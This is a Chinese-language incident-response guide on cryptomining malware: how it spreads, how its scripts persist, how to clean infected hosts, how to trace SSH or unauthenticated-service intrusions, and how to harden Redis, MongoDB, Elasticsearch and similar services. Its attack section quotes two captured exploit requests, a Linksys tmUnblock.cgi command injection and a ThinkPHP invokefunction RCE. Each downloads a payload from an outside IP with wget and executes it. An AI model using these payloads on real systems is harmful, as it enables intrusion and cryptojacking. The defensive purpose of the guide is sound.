一 挖礦病毒簡介
攻擊者利用相關安全隱患向目標機器種植病毒的行為。
二 攻擊方式
攻擊者通常利用弱口令、未授權、代碼執行、命令執行等漏洞進行傳播。示例如下:
示例1:
POST /tmUnblock.cgi HTTP/1.1
Host: 188.166.41.194:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
ttcp_ip=-h `cd /tmp; rm -rf mpsl; wget
http://165.22.136.161/vb/mpsl; chmod 777 mpsl; ./mpsl linksys`&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
|
示例二:
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget
http://81.6.42.123/a_thk.sh -O /tmp/a; chmod 0777 /tmp/a; /tmp/a; HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Host: 103.27.111.204
|
三 腳本流程
3.1、殺死其他同類產品以及安全軟件。比如安騎士、青藤雲等等
3.2、每隔一定周期檢測一次進程是否存
3.3、添加計划任務
3.4、檢查木馬文件是否存在
3.5、檢查發現不存在木馬文件就會自行遠程下載並執行
四 排查思路
4.0 斷網
4.1 檢查計划任務,並將計划任務的域名或者ip寫入到 /etc/resolv.conf中,綁定為 127.0.0.1 腳本域名
4.2 上傳busybox
4.3 使用busbox中的ps、top、netstat、crontab、kill、rm、chattr等指令按照腳本內容依次刪除挖礦腳本添加的內容
4.4 使用busybox檢查本機是否被寫入惡意so。一般so地址為:/usr/lib/ 若有新增so,則使用busybox rm 刪除
4.5 進入/proc/目錄 計算所有pid 的md5值。 即執行 md5sum /proc/$pid/exe 並將得到的md5值去威脅情報社區(微步或者VT)查詢相關信息
4.6 確認刪除計划任務、惡意so、挖礦進程后重啟機器。隨后再次檢查
五 入侵溯源
5.1 ssh入侵。
grep ‘Accept’ /var/secure*
strings /var/wtmp
strings /var/lastlog
strings /var/utmp
strings /var/log/boot.log
cat. /root/.ssh/authorized_keys
|
一般而言,若在挖礦腳本中發現以上文件被刪除或者置空,則99%可確定為是 通過ssh 爆破進來,則修復建議如下:
5.1.1 升級openssh
5.1.2 使用長度大約8的多種字符組合的密碼
5.1.3 安裝fail2ban,
5.2 未授權入侵。
常見存在未授權的應用如下
redis、jenkins、mongodb、zookeeper、es、memcache、hadoop、couchdb、docker、k8s
服務名 | 常見未授權原因 | 修復建議 |
redis | 6379對外開放,且使用弱口令或者未設置密碼 |
1 iptables 設定6379 ip白名單
2 設置redis強口令
|
jenkins | 弱口令、script未授權 |
1 設置強密碼
2 管理后台建議禁止開放公網,建議使用iptables指定來源ip
|
mongodb | 27017 |
1 本地訪問
bind 127.0.0.1
2 修改默認端口
修改默認的mongoDB端口(默認為: TCP 27017)為其他端口
3 禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6以后這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,一般不需要通過web方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇–nohttpinterface 參數nohttpinterface = false
4 開啟日志審計功能
審計功能可以用來記錄用戶對數據庫的所有相關操作。這些記錄可以讓系統管理員在需要的時候分析數據庫在什么時段發生了什么事情
5 開啟auth認證
/etc/mongodb.conf
auth = true
6 開啟鑒權模式
|
zookeeper | 2181 |
1 禁止把Zookeeper直接暴露在公網
2 添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼,指定IP)
|
Es | 9200 |
1 默認開啟的9200端口和使用的端口不對外公布,或架設內網環境。或者防火牆上設置禁止外網訪問9200端口。
2 架設nginx反向代理服務器,並設置http basic認證來實現elasticsearch的登錄認證。
3 限制IP訪問,綁定固定IP
4 為elasticsearch增加登錄驗證,可以使用官方推薦的shield插件.
|
Memcache | 11211 |
1.限制訪問
2.防火牆
3.使用最小化權限賬號運行Memcached服務
4.啟用認證功能
5.修改默認端口
6.定期升級
|
Hadoop | 8088 |
1 網絡訪問控制
2 啟用認證功能
3 更新補丁
|
Couchdb | 5984 |
1 指定CouchDB綁定的IP
2 設置訪問密碼
|
Docker | 2181 |
1 網絡訪問控制
2 低權限運行
|
K8s | 8080、6443 |
1 身份校驗
2 設置密碼
|
cms | 代碼執行、命令執行、注入等等 | 升級、打補丁 |
總之根據對應的服務,一一排查,挖礦病毒、ddos病毒類的都是腳本自動化執行,一般都是以上安全隱患造成的中毒。